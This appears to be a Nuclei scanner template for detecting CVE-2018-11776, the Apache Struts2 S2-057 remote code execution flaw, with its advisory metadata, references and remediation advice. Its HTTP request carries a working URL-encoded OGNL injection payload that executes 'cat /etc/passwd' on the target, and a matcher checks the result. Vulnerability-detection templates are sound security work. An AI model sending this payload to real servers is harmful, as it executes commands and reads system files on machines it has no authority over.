id: CVE-2018-11776 info: name: Apache Struts2 S2-057 - Remote Code Execution author: pikpikcu severity: high description: | Apache Struts versions 2.3 to 2.3.34 and 2.5 to 2.5.16 suffer from possible remote code execution when alwaysSelectFullNamespace is true (either by user or a plugin like Convention Plugin) and then: results are used with no namespace and in same time, its upper package have no or wildcard namespace and similar to results, same possibility when using url tag which doesn''t have value and action set and in same time, its upper package have no or wildcard namespace. remediation: | Apply the latest security patches or upgrade to a non-vulnerable version of Apache Struts2. reference: - https://github.com/jas502n/St2-057 - https://cwiki.apache.org/confluence/display/WW/S2-057 - https://security.netapp.com/advisory/ntap-20180822-0001/ - https://nvd.nist.gov/vuln/detail/CVE-2018-11776 - http://packetstormsecurity.com/files/172830/Apache-Struts-Remote-Code-Execution.html classification: cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.1 cve-id: CVE-2018-11776 cwe-id: CWE-20 epss-score: 0.97557 epss-percentile: 0.99996 cpe: cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: apache product: struts tags: packetstorm,cve,cve2018,apache,rce,struts,kev http: - method: GET path: - "{{BaseURL}}/%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27cat%20/etc/passwd%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D/actionChain1.action" matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200 # digest: 4a0a00473045022100b0cd8d13c1cee90da676bfd6993ba15ff8dad3b3b3432625a50d7791bbaccb3a02204535600ec4282e7c751dc4b04cb2559e457651256a830d05c8051f4af6914c77:922c64590222798bb761d5b6d8e72950